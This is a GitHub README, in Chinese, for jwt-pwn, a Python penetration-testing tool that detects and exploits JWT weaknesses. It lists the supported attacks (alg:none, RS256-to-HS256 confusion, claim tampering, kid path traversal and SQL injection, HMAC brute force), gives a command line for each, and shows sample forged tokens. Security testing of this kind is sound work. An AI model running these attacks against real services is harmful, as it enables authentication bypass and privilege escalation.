G4MEOVER18/jwt-pwn
GitHub: G4MEOVER18/jwt-pwn
一个纯 Python 3 标准库的 JWT 安全测试工具,零依赖实现多种常见 JWT 漏洞的检测与利用。
Stars: 0 | Forks: 0
# jwt-pwn
一个 Python 3 工具包,无外部依赖,用于发现和利用 JWT 漏洞 —— 专为 Web 应用渗透测试而构建。
## 已实现的攻击
| 攻击 | CVE 类别 | 描述 |
|------|----------|------|
| `alg:none` | 签名绕过 | 移除签名,将 `alg` 设为 `none`/`None`/`NONE`/`nOnE` |
| RS256→HS256 混淆 | 算法混淆 | 使用 HS256 签名,将 RSA 公钥作为 HMAC 密钥 |
| 声明篡改 | 权限提升 | 修改 `role`、`admin`、`exp`、`sub`、`iss` 等 |
| `kid` 路径遍历 | 密钥混淆 | 将 `kid` 设为 `/dev/null` → 空 HMAC 密钥 |
| `kid` SQL 注入 | 头部中的 SQL 注入 | 在 `kid` 字段中注入 SQL 负载 |
| HMAC 暴力破解 | 弱密钥 | 对 HS256/384/512 密钥进行字典攻击 |
## 用法
```
# JWT 解码和分析
python jwt_pwn.py --decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# alg:none 攻击 — 生成 4 种变体
python jwt_pwn.py --token eyJ... --alg-none
# RS256 → HS256 混淆(指定服务器的 RSA 公钥)
python jwt_pwn.py --token eyJ... --rs256-hs256 server_pubkey.pem
# 篡改 Claims 并重新签名(已知 Secret)
python jwt_pwn.py --token eyJ... --tamper '{"role":"admin","exp":"+9999d"}' --secret weakpassword
# kid 路径遍历 → 使用空密钥签名
python jwt_pwn.py --token eyJ... --kid path_traversal
# kid SQL 注入
python jwt_pwn.py --token eyJ... --kid sql_injection
# 通过暴力破解获取 HMAC 密钥
python jwt_pwn.py --token eyJ... --brute /usr/share/wordlists/rockyou.txt
# JSON 输出以集成到其他工具
python jwt_pwn.py --token eyJ... --alg-none --json
```
## 示例:alg:none
```
[+] alg:none
alg_value: none
token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0.
[+] alg:none
alg_value: None
token: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0.
```
## 示例:解码后的 JWT
```
── Header ──────────────────────────────
{
"alg": "HS256",
"typ": "JWT"
}
── Payload ─────────────────────────────
{
"sub": "1234567890",
"role": "user",
"exp": 1716000000
}
⚠ EXPIRED 86400s ago
── Signature (32 bytes) ─────────────
8a7f...
```
## 前置条件
Python 3.9+ —— 无外部依赖。
## 参考来源
- [PortSwigger:JWT 攻击](https://portswigger.net/web-security/jwt)
- [RFC 7519:JSON Web 令牌](https://tools.ietf.org/html/rfc7519)
- [CVE-2015-9235:多个 JWT 库中的 alg:none](https://nvd.nist.gov/vuln/detail/CVE-2015-9235)
## 许可证
MIT 许可证 —— 版权所有 (c) 2026 Yanis Ameseder
**比特币:** `39vZWmnUwDReQ15BwqQXzyqVQ6U8LardEf`
**PayPal:** [paypal.me/Freakbank1](https://paypal.me/Freakbank1)
标签:API安全, CISA项目, Homebrew安装, JSON输出, JWT安全, JWT攻击, JWT漏洞, Modbus, PoC, Python, Python安全工具, VEH, Web安全, 代码生成, 协议分析, 字典攻击, 密钥注入, 授权绕过, 无依赖, 无后门, 暴力破解, 权限提升, 渗透测试工具, 签名绕过, 算法混淆, 蓝队分析, 认证绕过, 路径遍历